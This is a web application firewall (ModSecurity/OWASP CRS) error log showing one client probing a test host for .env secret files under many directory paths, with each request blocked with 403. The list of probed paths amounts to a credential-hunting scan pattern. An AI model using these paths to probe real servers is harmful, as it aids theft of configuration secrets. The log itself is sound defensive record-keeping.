[Thu Feb 26 01:03:00.904774 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysQAAAAA&quot;]
[Thu Feb 26 01:03:00.904940 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysQAAAAA&quot;]
[Thu Feb 26 01:03:00.922771 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhhQAAAAE&quot;]
[Thu Feb 26 01:03:00.923035 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhhQAAAAE&quot;]
[Thu Feb 26 01:03:00.923222 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhhQAAAAE&quot;]
[Thu Feb 26 01:03:00.928547 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysgAAAAA&quot;]
[Thu Feb 26 01:03:00.928783 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysgAAAAA&quot;]
[Thu Feb 26 01:03:00.928930 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aZ-NtCSJSniLip0oFXiysgAAAAA&quot;]
[Thu Feb 26 01:03:00.948977 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhhgAAAAE&quot;]
[Thu Feb 26 01:03:00.949237 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhhgAAAAE&quot;]
[Thu Feb 26 01:03:00.949412 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ-NtDAL5Lg_nL66HcLhhgAAAAE&quot;]
[Thu Feb 26 01:03:01.022330 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhiAAAAAE&quot;]
[Thu Feb 26 01:03:01.022632 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhiAAAAAE&quot;]
[Thu Feb 26 01:03:01.022834 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhiAAAAAE&quot;]
[Thu Feb 26 01:03:01.055838 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developerslv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhiQAAAAE&quot;]
[Thu Feb 26 01:03:01.056147 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhiQAAAAE&quot;]
[Thu Feb 26 01:03:01.056348 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhiQAAAAE&quot;]
[Thu Feb 26 01:03:01.068468 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiytQAAAAA&quot;]
[Thu Feb 26 01:03:01.068750 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiytQAAAAA&quot;]
[Thu Feb 26 01:03:01.068929 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiytQAAAAA&quot;]
[Thu Feb 26 01:03:01.083002 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhigAAAAE&quot;]
[Thu Feb 26 01:03:01.083291 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhigAAAAE&quot;]
[Thu Feb 26 01:03:01.083469 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhigAAAAE&quot;]
[Thu Feb 26 01:03:01.247031 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyuAAAAAA&quot;]
[Thu Feb 26 01:03:01.247031 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /directories/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhjQAAAAE&quot;]
[Thu Feb 26 01:03:01.247320 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyuAAAAAA&quot;]
[Thu Feb 26 01:03:01.247321 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhjQAAAAE&quot;]
[Thu Feb 26 01:03:01.247505 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhjQAAAAE&quot;]
[Thu Feb 26 01:03:01.247510 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyuAAAAAA&quot;]
[Thu Feb 26 01:03:01.269763 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhjgAAAAE&quot;]
[Thu Feb 26 01:03:01.270012 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhjgAAAAE&quot;]
[Thu Feb 26 01:03:01.270186 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhjgAAAAE&quot;]
[Thu Feb 26 01:03:01.319787 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyugAAAAA&quot;]
